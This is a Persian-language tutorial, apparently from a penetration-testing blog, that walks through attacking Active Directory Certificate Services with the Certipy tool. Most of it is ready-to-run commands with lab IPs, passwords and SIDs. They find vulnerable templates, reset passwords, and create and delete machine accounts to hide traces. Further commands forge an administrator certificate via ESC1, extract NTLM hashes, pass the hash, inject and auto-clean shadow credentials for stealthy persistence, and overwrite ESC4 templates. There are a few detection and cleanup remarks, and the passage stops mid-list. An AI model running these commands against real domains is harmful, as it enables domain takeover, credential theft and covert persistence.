راهنمای جامع ابزار Certipy

راهنمای جامع سوءاستفاده از Active Directory با استفاده از Certipy

در این راهنمای سوءاستفاده از Active Directory با استفاده از Certipy، بررسی خواهیم کرد که چگونه از Certipy—یک ابزار مجموعه‌ای تهاجمی و تدافعی طراحی شده برای سرویس‌های گواهی‌نامه Active Directory (AD CS)—برای شناسایی پیکربندی‌های نادرست و سوءاستفاده از الگوهای CA استفاده کنیم. چه در حال هدف‌گیری بردارهای حمله ESC1 تا ESC16 باشید و چه در حال جعل گواهی‌نامه‌ها برای افزایش امتیاز دسترسی و پایداری، این مقاله شما را گام به گام از مراحل ضروری، از شناسایی الگوهای آسیب‌پذیر تا به‌دست آوردن تایید هویت دامنه، راهنمایی خواهد کرد.

فهرست مطالب

1. مروری بر Certipy
2. مفاهیم کلیدی ADCS
3. مقدمات
4. شناسایی الگوهای آسیب‌پذیر
5. بررسی امتیازات حساب
6. دستکاری حساب‌ها
7. درخواست گواهی‌نامه‌ها
8. احراز هویت از طریق گواهی‌نامه
9. مدیریت اعتبارهای پنهان
10. تغییر الگوها و CA
11. جعل و رله گواهی‌نامه‌ها
12. مقابله با تهدیدات

مروری بر Certipy

Certipy یک ابزار تخصصی است که برای شناسایی و سوءاستفاده از ضعف‌های موجود در سرویس‌های گواهی‌نامه Active Directory Certificate Services (ADCS) طراحی شده است. در حالی که ADCS نقش حیاتی در احراز هویت مبتنی بر گواهی‌نامه و رمزنگاری در محیط‌های ویندوز دارد، پیکربندی‌های نادرست و الگوهای بیش از حد دسترسی‌پذیر می‌توانند آن را به یک بردار حمله با تأثیر بالا تبدیل کنند.

حمله‌کنندگان و تیم‌های قرمز می‌توانند از Certipy برای شناسایی این پیکربندی‌های نادرست، افزایش امتیازات، جعل هویت کاربران و دسترسی پایدار به دامنه بدون نیاز به رمز عبور استفاده کنند. این امر از طریق مسیرهای سوءاستفاده شناخته شده‌ای که معمولاً به صورت ESC1 تا ESC16 دسته‌بندی می‌شوند، قابل انجام است. این مسیرها مربوط به آسیب‌پذیری‌های خاص در طراحی الگوها، مجوزها و مدل‌های اعتماد CA هستند.

دستورات و تکنیک‌های کلیدی Certipy

Certipy از دستورات مختلفی پشتیبانی می‌کند که هر کدام به مسیرهای خاص حمله در ADCS اختصاص دارند:

• find – پیکربندی AD CS را بررسی کرده و مراجع گواهی‌نامه‌ها، الگوها و آسیب‌پذیری‌های احتمالی ESC را شناسایی می‌کند.
• account – ویژگی‌های حساب کاربر یا رایانه را برای گواهی‌نامه‌ها مدیریت می‌کند، از جمله تنظیم SPN‌ها، UPN‌ها و ایجاد حساب‌های ماشین برای حملات پیچیده مبتنی بر گواهی‌نامه.
• req – درخواست گواهی از یک CA، تعیین الگو و نام CA، استفاده از اعتبارهای جایگزین، پشتیبانی از RPC، DCOM یا HTTP(S) و استفاده از certipy req برای سوءاستفاده از الگوها به منظور جعل هویت.
• auth – احراز هویت با استفاده از یک گواهی‌نامه (PFX) برای دسترسی به دامنه از طریق Kerberos PKINIT یا Schannel به LDAP، دریافت TGT و هش NTLM.
• shadow – انجام حمله اعتبارهای پنهان برای ایجاد یک اعتبار مرتبط با گواهی‌نامه روی یک کاربر، که امکان احراز هویت از طریق گواهی‌نامه را فراهم می‌کند.
• Template – مدیریت اشیاء الگوی گواهی‌نامه در AD، از جمله استخراج، تغییر و بازیابی پیکربندی‌های الگو، که برای سناریوهایی مانند ESC4 مفید است.
• ca – مدیریت تنظیمات CA برای فعال/غیرفعال کردن الگوها، تایید/رد درخواست‌ها و افزودن/حذف مدیران CA.
• forge – جعل گواهی‌نامه‌ها با استفاده از کلید خصوصی یک CA نفوذشده برای ایجاد گواهی‌نامه‌های دلخواه، که برای پایداری مفید است اگر یک CA ریشه یا تحت‌التحاق نفوذ کرده باشد.
• relay – انجام حمله NTLM relay targeting به واسطه نقاط پایانی AD CS HTTP(S) یا RPC برای دریافت گواهی‌نامه صادر شده برای قربانی، که حملات ESC8 و ESC11 را به طور خودکار انجام می‌دهد.

چرا این تکنیک‌ها کار می‌کنند؟

این تکنیک‌ها به جای اتکا به سوءاستفاده از کد، بر سوءاستفاده از اعتماد و سیاست‌های ضعیف تکیه دارند:

• اعتماد CA به احراز هویت، نه هویت واقعی – اگر درخواست معتبر به نظر برسد، ممکن است گواهی‌نامه‌ای به حمله‌کننده صادر شود.
• پیکربندی نادرست الگوها – اجازه به احراز هویت مشتری و کنترل SAN، که موجب جعل هویت می‌شود.
• اعتبارهای پنهان – وارد کردن اعتبارهای جایگزین به صورت پنهانی، که از عبور از رمز عبور و MFA جلوگیری می‌کند.
• احراز هویت مبتنی بر گواهی‌نامه، عبور از رمز عبور – دسترسی به ورود دامنه بدون نیاز به رمز عبور هدف.
• نقش‌های قدرتمند CA – افسران گواهی‌نامه و مدیران CA می‌توانند گواهی‌نامه برای هر کسی صادر کنند که خطر تصاحب دامنه را به همراه دارد.

مفاهیم کلیدی ADCS

ADCS یک ستون فقرات برای تأیید هویت و ارتباطات امن است (برای مثال کارت‌های هوشمند، TLS، دسترسی VPN، رمزنگاری ایمیل) و همچنین هدف ارزشمندی برای حمله‌کنندگان است. زیرا ADCS به طور عمیق با Active Directory یکپارچه است و در سراسر دامنه به طور ضمنی به آن اعتماد می‌شود.

چرا ADCS یک سطح حمله است؟

پیکربندی نادرست در الگوهای گواهی‌نامه یا تنظیمات CA می‌تواند حملات مختلفی را فعال کند:

• الگوهای گواهی‌نامه: پیکربندی نادرست الگوها می‌تواند به کاربران با امتیاز پایین اجازه دهد تا گواهی‌نامه برای حساب‌های با امتیاز بالا درخواست کنند (ESC1).
• ثبت‌نام وب: افشای رابط AD CS (/certsrv) از طریق HTTP با NTLM فعال می‌تواند برای حملات NTLM relay سوءاستفاده شود (ESC8).
• اعتبارهای پنهان: مدیریت نادرست keyCredentialLink می‌تواند تکنیک‌های پایداری ایجاد کند که حتی با تغییر رمز عبور نیز ادامه می‌یابد (ESC9/10).
• گواهی‌های افزایش امتیاز (ESC): حمله‌کنندگان می‌توانند از سوءاستفاده از الگوهای نادرست مانند SAN‌های پیکربندی‌شده نادرست (ESC1)، NTLM relay (ESC8) و اعتبارهای پنهان (ESC9/10) برای تصاحب دامنه استفاده کنند.

مقدمات

• Windows Server 2019 به عنوان Active Directory که از PKINIT پشتیبانی می‌کند.
• دامنه باید سرویس‌های گواهی‌نامه Active Directory و Certificate Authority را با نقش Web Enrollment فعال کرده باشد.
• Kali Linux با مجموعه‌ای از ابزارها.
• ابزارها: certipy-ad, PetitPotam

ما برای سوءاستفاده از پیکربندی‌های نادرست ADCS به صفر روز نیازی نداریم. یک الگوی گواهی‌نامه نادرست می‌تواند منجر به تصاحب کامل دامنه شود، همانند یک سوءاستفاده از اجرای کد از راه دور، اما با استفاده از ابزارهای بومی و پروتکل‌های قانونی.

ابزارهایی مانند Certipy این افزایش‌های پنهان امتیاز و آسیب‌پذیری‌های مبتنی بر اعتماد را در داخل ADCS کشف می‌کنند.

حالا که درک خوبی از سرویس‌های گواهی‌نامه Active Directory (ADCS) و مسیرهای سوءاستفاده از تکنیک‌های ESC داریم، مشخص است که چگونه تنظیمات نادرست اعتماد باعث می‌شود ADCS هدفی برجسته برای حمله‌کنندگان باشد.

با در نظر گرفتن این آسیب‌پذیری‌ها، بیایید به طور عملی از آن‌ها سوءاستفاده کنیم با استفاده از certipy-ad.

شناسایی الگوهای آسیب‌پذیر

بیایید با شناسایی نقاط ضعف شروع کنیم. الگوهای آسیب‌پذیر معمولاً به هر کاربر احراز هویت‌شده این امکان را می‌دهند که به‌طور خودکار برای گواهی‌نامه‌های احراز هویت مشتری ثبت‌نام کند.

certipy-ad find -u raj -p Password@1 -dc-ip 192.168.1.20 -target-ip 192.168.1.20 -vulnerable -enable -stdout

این دستور CA را اسکن می‌کند تا الگوهای گواهی‌نامه‌ای که پیکربندی‌های نادرستی دارند و امکان افزایش امتیاز (privilege escalation) را فراهم می‌کنند، شناسایی کند. این شبیه به سوءاستفاده‌های نوع ESC1 است.

در این بخش، دستور certipy-ad find برای شناسایی الگوهای گواهی‌نامه آسیب‌پذیر استفاده می‌شود که می‌تواند به سوءاستفاده‌هایی مانند ESC1 منجر شود. این الگوها به کاربرانی که به طور صحیح احراز هویت شده‌اند، امکان ثبت‌نام خودکار برای گواهی‌نامه‌های خاص مانند گواهی‌های احراز هویت مشتری را می‌دهند.

الگوهای آسیب‌پذیر معمولاً ویژگی‌هایی مانند Client Authentication EKU، “Supply in Request” SAN، صدور خودکار بدون تایید و دسترس‌پذیری توسط کاربران با امتیازات پایین (برای مثال، “sanjeet در این مورد) دارند. حالا بیایید ببینیم که چه مواردی شناسایی کرده‌ایم.

این دستور، CA و الگوها را بررسی کرده و پیکربندی‌هایی که از حملات ESC پشتیبانی می‌کنند (برای مثال، ESC6، ESC8) را شناسایی می‌کند.

در این بخش، توضیح داده شده که الگوهای آسیب‌پذیر به طور معمول شامل ویژگی‌هایی هستند که می‌توانند باعث حملات مختلف شوند، مانند تنظیمات EKU (Extended Key Usage) برای احراز هویت مشتری، وجود گزینه “Supply in Request” SAN (Subject Alternative Name) که به مهاجم اجازه می‌دهد تنظیمات خاصی را در درخواست گواهی وارد کند، و همچنین صدور خودکار گواهی‌ها بدون تایید که ممکن است به یک کاربر با امتیازات پایین، مانند “sanjeet”، این امکان را بدهد که گواهی‌نامه‌ای برای دسترسی به منابع حساس دریافت کند.

توجه: این مرحله پایه‌گذاری برای کل زنجیره حمله ما است. بدون یک الگوی آسیب‌پذیر، اکثر بهره‌برداری‌های بعدی ممکن نخواهند بود.

بررسی امتیازات حساب

حالا بیایید ارزیابی کنیم که چه چیزی را می‌توانیم کنترل کنیم. اگر کاربر ما (برای مثال، raj) قادر به خواندن یا تغییر ویژگی‌های حساس حساب کاربری دیگری (برای مثال، sanjeet) باشد، ممکن است قادر به انجام موارد زیر باشیم:

• تزریق یک اعتبار پنهان (shadow credential) برای استفاده بعدی
• بازنشانی رمز عبور برای افزایش امتیازات
• افزودن خود به گروه‌های پرامتیاز برای کنترل بیشتر

برای انجام این کار، دستور زیر را اجرا کنید:

certipy-ad account -u raj -p Password@1 -dc-ip 192.168.1.20 -target 192.168.1.20 -user sanjeet read

سوئیچ read در Certipy به raj این امکان را می‌دهد که ویژگی‌های حساب sanjeet را بازیابی و مشاهده کند، مانند cn، sAMAccount و سایر اطلاعات حساس که می‌توانند برای افزایش امتیاز یا سوءاستفاده‌های بیشتر مورد استفاده قرار گیرند.

در این بخش توضیح داده شده که اگر کاربری بتواند ویژگی‌های حساس حساب کاربر دیگری را مشاهده یا تغییر دهد، این اطلاعات می‌تواند برای انجام حملات بیشتری مانند افزایش امتیاز دسترسی یا دستکاری حساب‌ها استفاده شود.

دستکاری حساب‌ها

پس از تایید مجوزهای خود، حالا اقدام می‌کنیم. اکنون می‌توانیم از این دستورات برای نشان دادن نحوه دستکاری حساب‌ها توسط خودمان یا مدیران استفاده کنیم:

بروزرسانی رمز عبور

این دستور به مدیر (Administrator) این امکان را می‌دهد که برای احراز هویت و بازنشانی رمز عبور sanjeet به Password@12 در Domain Controller مشخص‌شده (۱۹۲٫۱۶۸٫۱٫۲۰) اقدام کند، که این عمل می‌تواند باعث افزایش امتیازات دسترسی یا کنترل بر حساب sanjeet برای سوءاستفاده‌های بعدی شود.

certipy-ad account -u Administrator -p Password@1 -dc-ip 192.168.1.20 -target 192.168.1.20 -user sanjeet -pass Password@12 update

پس از ارتقا سطح دسترسی (برای مثال، از طریق ESC1)، می‌توانیم رمز عبور هر کاربر دامنه‌ای را ریست کنیم، از جمله مدیران، که این کار باعث تسلط فوری بر حساب‌ها، کنترل بر چندین حساب و حرکت استراتژیک به سمت دیگر حساب‌ها می‌شود.

در این بخش، توضیح داده شده که پس از تایید مجوزها و افزایش سطح دسترسی، می‌توانیم رمز عبور حساب‌ها را به روز کرده و از این طریق به حساب‌های دیگر دسترسی پیدا کنیم یا کنترل آن‌ها را به‌دست آوریم. این امر می‌تواند به حملات پیوسته و حرکت در سطح دامنه (lateral movement) منجر شود.

ایجاد حساب‌ها (برای مثال، حساب‌های ماشین برای سوءاستفاده از ESC8)

این دستور به raj این امکان را می‌دهد که یک حساب ماشین جدید به نام BADPC با رمز عبور Password@2 در Domain Controller با آدرس ۱۹۲٫۱۶۸٫۱٫۲۰ ایجاد کند. حساب‌های ماشین می‌توانند برای حملات NTLM relay (ESC8) یا برای پایداری استفاده شوند، که به افزایش امتیازات دسترسی و حفظ دسترسی کمک می‌کند.

certipy-ad account -u raj -p Password@1 -dc-ip 192.168.1.20 -target 192.168.1.20 -user BADPC -pass Password@2 create

حساب‌های ماشین، که معمولاً مجاز به ثبت‌نام در الگوهای ماشین دامنه هستند، می‌توانند توسط ما برای سوءاستفاده از ESC8 جهت حملات NTLM relay، درخواست گواهی‌نامه از طریق الگوهای مبتنی بر ماشین، یا حرکت به سمت DCSync با استفاده از دسترسی به الگوهای Domain Controller مورد سوءاستفاده قرار گیرند.

در این بخش توضیح داده شده که ایجاد حساب‌های ماشین، که معمولاً برای الگوهای گواهی‌نامه ماشین در دامنه مجاز هستند، می‌تواند به حملات پیچیده‌ای مانند NTLM relay و DCSync منجر شود که دسترسی‌های بیشتری را در دامنه فراهم می‌آورد و به مهاجم این امکان را می‌دهد که به صورت پایدار به سیستم وارد شود.

حذف حساب‌ها

این دستور حساب ماشین BADPC را پس از استفاده حذف می‌کند.

certipy-ad account -u Administrator -p Password@1 -dc-ip 192.168.1.20 -target 192.168.1.20 -user BADPC delete

این عمل برای پوشاندن ردپاها پس از استفاده از حساب برای انتقال احراز هویت NTLM (ESC8)، پنهان‌سازی یک ماشین یا دریافت گواهی‌نامه از طریق ثبت‌نام خودکار مفید است.

در این بخش، توضیح داده شده که حذف حساب‌های ماشین پس از استفاده می‌تواند به عنوان یک تکنیک برای پوشاندن ردپاها و جلوگیری از شناسایی حملات یا سوءاستفاده‌ها مانند حملات NTLM relay و دریافت گواهی‌نامه به کار رود.

درخواست گواهی‌نامه‌ها

در این مرحله، از الگوی گواهی‌نامه آسیب‌پذیری که قبلاً در فاز شناسایی کشف کردیم سوءاستفاده می‌کنیم. در اینجا، یک گواهی‌نامه به نام Domain Administrator درخواست می‌کنیم و شناسه‌های UPN و SID او را در آن جاسازی می‌کنیم. CA (Certificate Authority)، به دلیل کنترل‌های ضعیف در الگو، این گواهی‌نامه را بدون راستی‌آزمایی مناسب امضا می‌کند.

certipy-ad req -u raj -p Password@1 -dc-ip 192.168.1.20 -target 192.168.1.20 -ca ignite-DC01-CA -template ESC1 -upn 'administrator@ignite.local' -sid 'S-1-5-21-2876727035-1185539019-1507907093-500'

اگر عملیات موفقیت‌آمیز باشد، اکنون یک گواهی‌نامه معتبر در اختیار داریم که هویت یک حساب پرامتیاز را جعل می‌کند.

در این بخش، توضیح داده شده که با استفاده از یک الگوی آسیب‌پذیر (مثلاً ESC1)، می‌توان گواهی‌نامه‌ای برای یک حساب پرامتیاز مانند administrator صادر کرد، بدون آن‌که کنترل‌های امنیتی از جمله بررسی مالکیت UPN یا SID اعمال شود. نتیجه این فرآیند، بدست آوردن یک گواهی‌نامه جعلی اما معتبر برای انجام حملات بعدی است.

احراز هویت از طریق گواهی‌نامه

با استفاده از فایل گواهی‌نامه .pfx که هویت Domain Administrator را جعل می‌کند، از PKINIT در پروتکل Kerberos برای احراز هویت مبتنی بر گواهی استفاده می‌کنیم. این روش به‌طور کامل رمز عبور ادمین را دور می‌زند. از آنجا که گواهی‌نامه توسط یک CA مورد اعتماد امضا شده و شامل اطلاعات هویتی مدیر است، Domain Controller آن را معتبر تلقی کرده و دسترسی کامل مدیریتی اعطا می‌کند—که نقطه‌ی کلیدی در افزایش سطح دسترسی به حساب‌های حساس محسوب می‌شود.

certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.20

این دستور هش NTLM را استخراج می‌کند که می‌توان از آن برای سوءاستفاده‌های بیشتر در محیط دامنه استفاده کرد.

در این بخش، به یکی از مهم‌ترین مراحل حمله اشاره شده: استفاده از گواهی جعلی اما معتبر برای ورود به دامنه بدون نیاز به رمز عبور. این کار با استفاده از PKINIT انجام می‌شود و نتیجه آن دریافت هش NTLM و کسب دسترسی کامل به منابع دامنه است.

احراز هویت با استفاده از NTLM Hash و بررسی دسترسی‌ها

در سناریوی ما، از دستور زیر استفاده می‌کنیم تا نشان دهیم می‌توان با استفاده از یک هش NTLM شناخته‌شده (برای مثال، حساب raj) به Active Directory احراز هویت کرده و مجوزها و ویژگی‌های حساب Administrator را بررسی کرد. این کار می‌تواند مشخص کند که آیا حساب raj قادر به تغییر ویژگی‌های حساب، تزریق اعتبار پنهان (Shadow Credentials) (مطابق با حمله ESC10) یا بازنشانی رمز عبور است. این تکنیک زمانی بسیار کلیدی است که هش رمز عبور در دسترس باشد ولی رمز عبور به‌صورت متن ساده (cleartext) موجود نباشد.

certipy-ad account -u raj -hashes 64fbae31cc352fc26af97cbdef151e03 -dc-ip 192.168.1.20 -user 'administrator' read

در این بخش، تأکید شده که در شرایطی که مهاجم به هش NTLM دسترسی دارد اما رمز عبور را به‌صورت واضح نمی‌داند، می‌تواند همچنان از Certipy برای احراز هویت و انجام بررسی‌های حیاتی روی حساب‌های پرامتیاز استفاده کند. این روش به‌طور خاص در حملاتی مثل ESC10 کاربرد دارد و راهی مؤثر برای جمع‌آوری اطلاعات و بررسی پتانسیل افزایش سطح دسترسی در دامنه است.

مدیریت Shadow Credentials (اعتبارنامه‌های پنهان)

پس از دستیابی به دسترسی‌های بالا از طریق سوءاستفاده از گواهی‌نامه‌ها (برای مثال، ESC1)، تمرکز ما از افزایش سطح دسترسی (Privilege Escalation) به پایداری (Persistence) تغییر می‌کند.
Shadow Credentials این امکان را به ما می‌دهند که اعتبارنامه‌های ورود جایگزین را بدون تغییر رمز عبور کاربر و بدون ایجاد هشدار در سیستم‌های امنیتی سنتی، به حساب کاربری دیگری تزریق کنیم.

این اعتبارنامه‌ها در ویژگی msDS-KeyCredentialLink ذخیره می‌شوند و در فرآیند ورود با استفاده از Kerberos PKINIT مورد استفاده قرار می‌گیرند. این روش:

• مقاوم در برابر ریست رمز عبور
• پنهان و ناشناس
• و بسیار مؤثر برای حفظ دسترسی بلندمدت است.

در سناریوی ما، برای تثبیت حضور و پایداری دسترسی، یک Shadow Credential به حساب کاربر shivam اضافه می‌کنیم، با دستکاری ویژگی msDS-KeyCredentialLink. این کار به ما اجازه می‌دهد بدون نیاز به دانستن رمز عبور shivam، به حساب او با استفاده از گواهی‌نامه وارد شویم.

نکته امنیتی: این تکنیک که در دسته حملات ESC9/ESC10 قرار دارد، بسیار پنهان‌کارانه است، اکثر سیستم‌های تشخیص سنتی را دور می‌زند و حتی پس از ریست کردن رمز عبور نیز ماندگار باقی می‌ماند—مگر اینکه صراحتاً حذف شود.

افزودن یک Shadow Credential

certipy-ad shadow -u raj -p Password@1 -dc-ip 192.168.1.20 -account shivam add

این دستور یک کلید اعتبارنامه‌ای جدید مبتنی بر گواهی‌نامه را در ویژگی msDS-KeyCredentialLink کاربر shivam تزریق می‌کند. پس از افزودن، این کلید امکان ورود بدون رمز عبور را به عنوان shivam فراهم می‌سازد—با استفاده از مکانیزم‌های احراز هویت مبتنی بر گواهی مانند PKINIT.

در این مرحله، مهاجم می‌تواند بدون نیاز به رمز عبور و با استفاده از کلید تزریق‌شده، بارها و بدون جلب توجه وارد سیستم شود—که این یکی از قدرتمندترین روش‌های پایداری در سناریوهای post-exploitation در Active Directory است.

نکته: این تکنیک هسته‌ی اصلی حمله ESC10 به‌شمار می‌رود. در این سناریو، تزریق یک کلید گواهی‌نامه‌ای به حساب کاربر دیگر باعث می‌شود که نیازی به دزدیدن یا بازنشانی رمز عبور نباشد. Shadow Credentialها حتی پس از تغییر رمز عبور نیز باقی می‌مانند و از آنجا که در بسیاری از سامانه‌های مانیتورینگ سنتی لاگ نمی‌شوند، تنها در صورتی شناسایی می‌شوند که صراحتاً بررسی شده باشند.

فهرست کردن Shadow Credentialهای موجود

برای بررسی اینکه چه Shadow Credentialهایی در حال حاضر به حساب shivam متصل هستند، می‌توان از دستور زیر استفاده کرد. این دستور تمام شناسه‌های دستگاه (Device IDs) مرتبط با کلیدهای ثبت‌شده در ویژگی msDS-KeyCredentialLink را لیست می‌کند:

certipy-ad shadow -u raj -p Password@1 -dc-ip 192.168.1.20 -account shivam list

این اطلاعات برای تحلیل دسترسی‌های پنهان، کشف سوءاستفاده‌ها یا پاک‌سازی اعتبارنامه‌های تزریق‌شده در فاز پس از حمله (Post-Exploitation) بسیار حیاتی هستند.

در مجموع، این دستور یکی از کلیدی‌ترین گام‌ها در حفظ پایداری مخفیانه در دامنه است، چرا که مهاجم را قادر می‌سازد تا بدون ایجاد تغییر قابل‌مشاهده‌ای در رفتار حساب، به حضور مخفی خود ادامه دهد.

نکته: این اطلاعات برای هر دو گروه مهاجمان (Red Team) و مدافعان (Blue Team) ارزشمند است:

• مهاجمان می‌توانند از آن برای بررسی دسترسی‌های قبلی یا جلوگیری از ثبت Shadow Credential تکراری استفاده کنند.
• مدافعان نیز می‌توانند روش‌های پایداری اضافه‌شده پس از نفوذ را شناسایی و تحلیل کنند—چیزی که با نیازهای واقعی تحقیقات جرم‌شناسی (Forensics) در عملیات تیم قرمز و آبی هم‌راستا است.

بررسی یک Shadow Credential خاص

برای مشاهده اطلاعات دقیق در مورد یک Shadow Credential خاص که به حساب shivam متصل است، می‌توان از دستور زیر استفاده کرد. این دستور، جزئیاتی مانند:

• شناسه دستگاه (Device ID)
• صادرکننده گواهی‌نامه (Issuer)
• تاریخ و زمان اضافه شدن کلید
  را نمایش می‌دهد:

certipy-ad shadow -u raj -p Password@1 -dc-ip 192.168.1.20 -account shivam -device-id 528c42e7-1395-e86c-4b06-fffd9758fe6b info

این اطلاعات به مهاجمان کمک می‌کند تا کنترل دقیقی بر کلیدهای مخفی‌شده داشته باشند، و به مدافعان امکان می‌دهد تا مکانیزم‌های پایداری غیرمجاز را شناسایی و تحلیل کنند—به‌ویژه در سناریوهایی که مهاجم از PKINIT و گواهی‌نامه‌های جعلی برای دسترسی بلندمدت و بی‌صدا استفاده کرده است.

نکته: اجرای این دستور می‌تواند نشان دهد که آیا اعتبارنامه (Credential) به‌تازگی تزریق شده، با چه روشی اضافه شده، و توسط چه مهاجمی وارد شده است. این اطلاعات برای درک الگوهای دسترسی و ساخت خط زمانی وقایع امنیتی (Forensic Timeline) در حین پاسخ به حادثه (Incident Response) حیاتی است.

حذف یک Shadow Credential

در صورتی که بخواهیم یک Shadow Credential خاص را از حساب کاربری shivam حذف کنیم (برای مثال، جهت پاک‌سازی پس از تست نفوذ یا مقابله با مهاجم)، از دستور زیر استفاده می‌کنیم:

certipy-ad shadow -u raj -p Password@1 -dc-ip 192.168.1.20 -account shivam -device-id 528c42e7-1395-e86c-4b06-fffd9758fe6b clear

این دستور کلید گواهی دیجیتال تزریق‌شده در ویژگی msDS-KeyCredentialLink کاربر را حذف می‌کند. این فرآیند بخشی از عملیات پاک‌سازی (Cleanup) در سناریوهای Red Team یا پاسخ به نفوذ واقعی است.

تأیید حذف Credential

برای اطمینان از این‌که کلید به‌درستی حذف شده و هیچ Shadow Credential دیگری با همان شناسه وجود ندارد، مجدداً می‌توانیم از دستور زیر استفاده کنیم:

certipy-ad shadow -u raj -p Password@1 -dc-ip 192.168.1.20 -account shivam -device-id 528c42e7-1395-e86c-4b06-fffd9758fe6b info

در صورت موفقیت، این دستور یا هیچ خروجی نمایش نمی‌دهد یا پیام عدم وجود کلید (Not Found) را نشان می‌دهد. این تأییدیه برای اطمینان از پاک‌سازی کامل و حذف پایداری مخفیانه از حساب کاربری موردنظر ضروری است.

این مرحله نشان‌دهنده اهمیت مدیریت دقیق Shadow Credentialها در هر دو فاز Post-Exploitation و Incident Response است، و بخشی جدانشدنی از تحلیل تهدیدات مبتنی بر AD CS محسوب می‌شود.

نکته:
Shadow Credentialها معمولاً در مرحله پس از بهره‌برداری (Post-Exploitation) مورد استفاده قرار می‌گیرند تا مهاجم بتواند بدون نیاز به دانستن یا ریست کردن رمز عبور، یا بدون ابطال احراز هویت چندمرحله‌ای (MFA)، به سیستم دسترسی داشته باشد.
تنها راه واقعی برای لغو دسترسی مهاجم، حذف مستقیم این Credentialها است، و این موضوع اهمیت شناسایی و مقابله با آن‌ها را برای تیم‌های دفاعی دوچندان می‌کند.

بررسی و حذف Shadow Credentialهای فعال در حساب کاربری

در ابتدا، بررسی می‌کنیم که آیا هیچ شناسه دستگاه (Device ID) به حساب کاربری shivam متصل است یا خیر. اگر وجود داشته باشد، با دستور بعدی می‌توان آن را حذف کرد.

گام اول: فهرست Device IDهای موجود در msDS-KeyCredentialLink

certipy-ad shadow -u raj -p Password@1 -dc-ip 192.168.1.20 -account shivam list

گام دوم: حذف شناسه خاص از حساب shivam

certipy-ad shadow -u raj -p Password@1 -dc-ip 192.168.1.20 -account shivam -device-id d867fd89-9bf7-6831-fc13-adf40d60b014 remove

این دستور، Shadow Credential با شناسه مشخص‌شده را از ویژگی msDS-KeyCredentialLink حذف می‌کند، که به معنی حذف کامل توانایی لاگین بدون رمز عبور به حساب کاربر shivam است.

تأیید حذف موفق

اگر دستور با موفقیت اجرا شود، به‌معنای حذف نهایی دسترسی مهاجم از طریق این مکانیزم است و اطمینان حاصل می‌شود که دیگر امکان استفاده از احراز هویت مبتنی بر گواهی‌نامه (Certificate-based Auth) برای این حساب وجود ندارد.

این مرحله، جزئی کلیدی در پاک‌سازی و احیای امنیتی پس از نفوذ است و باید در چک‌لیست‌های Incident Response و تحلیل‌های Forensics گنجانده شود.

اجرای خودکار: افزودن → استفاده → حذف (دسترسی مخفیانه و موقتی)

در این مرحله، از یک قابلیت پیشرفته‌ی ابزار Certipy استفاده می‌کنیم که به مهاجم امکان می‌دهد در یک دستور واحد:

1. یک Shadow Credential موقت به حساب هدف اضافه کند،
2. بلافاصله با استفاده از آن احراز هویت انجام دهد (بدون نیاز به رمز عبور)،
3. سپس فوراً آن Credential را پاک کند، طوری که هیچ ردی از آن باقی نماند.

certipy-ad shadow -u raj -p Password@1 -dc-ip 192.168.1.20 -account shivam auto

شرح عملکرد:

• افزودن (Add): گواهی دیجیتال موقتی به msDS-KeyCredentialLink کاربر shivam تزریق می‌شود.
• استفاده (Use): با استفاده از PKINIT (احراز هویت بر اساس گواهی) به دامنه لاگین انجام می‌شود.
• حذف (Remove): کلید بلافاصله پس از احراز هویت پاک می‌شود تا هیچ اثری از آن باقی نماند.

نکته امنیتی:
این تکنیک، سطح بالایی از پنهان‌کاری (Stealth) را فراهم می‌کند و می‌تواند توسط مهاجمان برای دسترسی موقتی، بدون ایجاد تغییر پایدار در سیستم استفاده شود.
برای تیم‌های دفاعی، شناسایی چنین حملاتی نیازمند مانیتورینگ پیشرفته روی تغییرات msDS-KeyCredentialLink در بازه‌های زمانی کوتاه است.

این دستور یک مثال واقعی از بهره‌برداری در سطح APT (تهدیدات پایدار پیشرفته) محسوب می‌شود که باید در سناریوهای قرمز (Red Team) و تحلیل امنیتی پیشرفته مورد بررسی قرار گیرد.

ویرایش قالب‌ها و کنترل CA (Modifying Templates & CA)

پس از دسترسی موفق با استفاده از گواهی (Certificate-Based Access)، مرحله‌ی بعدی حمله شامل تسلط کامل بر زیرساخت مرجع صدور گواهی (Certificate Authority) است. در این مرحله:

• قالب‌های آسیب‌پذیر مانند ESC4 را بازیابی یا تغییر می‌دهیم،
• خود را به عنوان Certificate Officer اضافه می‌کنیم،
• کنترل کامل روی فرآیند صدور گواهی، ثبت، و تأیید درخواست‌ها به‌دست می‌آوریم،
• و در نهایت، سطح حمله را به‌گونه‌ای مدیریت و خودکارسازی می‌کنیم که دسترسی مداوم و ماندگار (Persistence) ایجاد شود.

پشتیبان‌گیری از پیکربندی یک قالب گواهی (Backup a Template Configuration)

این دستور پیکربندی فعلی قالب آسیب‌پذیر ESC4 را در قالب فایل JSON ذخیره می‌کند:

certipy-ad template -u raj -p Password@1 -dc-ip 192.168.1.20 -template ESC4 -save-configuration backup.json

کاربرد فنی:

• این فایل JSON شامل تمام تنظیمات جاری قالب است: مانند EKU، مجوزها، سیاست‌های ثبت (Enrollment)، و …
• می‌توان از آن برای بازیابی نسخه‌ی سالم قالب در صورت نیاز استفاده کرد،
• یا آن را به‌عنوان پایه‌ای برای تغییرات مخرب در آینده نگه داشت.

نکته امنیتی:
این تکنیک زمانی کاربردی است که مهاجم یا تیم قرمز قصد دارد تغییرات پنهانی را بر روی قالب‌ها اعمال کند ولی بتواند در هر زمان آن‌ها را به حالت اولیه بازگرداند.
همچنین تیم‌های آبی (Blue Team) می‌توانند با مانیتورینگ فایل‌های پشتیبان یا تغییرات JSON در قالب‌ها، به شناسایی رفتارهای مشکوک بپردازند.

در بخش‌های بعدی می‌توانیم قالب را اصلاح (modify) یا بارگذاری مجدد (restore) کنیم تا تغییرات خود را اعمال کرده یا به حالت قبل برگردانیم.

بازنویسی با پیکربندی پیش‌فرض (Overwrite with Default Configuration)

این دستور تنظیمات فعلی قالب گواهی ESC4 را با پیکربندی پیش‌فرض (Default Configuration) جایگزین می‌کند:

certipy-ad template -u raj -p Password@1 -dc-ip 192.168.1.20 -template ESC4 -write-default-configuration

کاربرد فنی:

• این عملیات قالب سخت‌سازی‌شده (Hardened Template) را به حالت پیش‌فرض ویندوز بازمی‌گرداند.
• در بسیاری از سناریوهای حمله، این به معنای حذف محدودیت‌ها و بازگرداندن آسیب‌پذیری‌هایی مانند:
  • امکان تنظیم SAN (Subject Alternative Name) توسط کاربر ثبت‌نام‌کننده (Enrollee-supplied SAN)،
  • فعال‌سازی خودکار گواهی بدون نیاز به تأیید دستی،
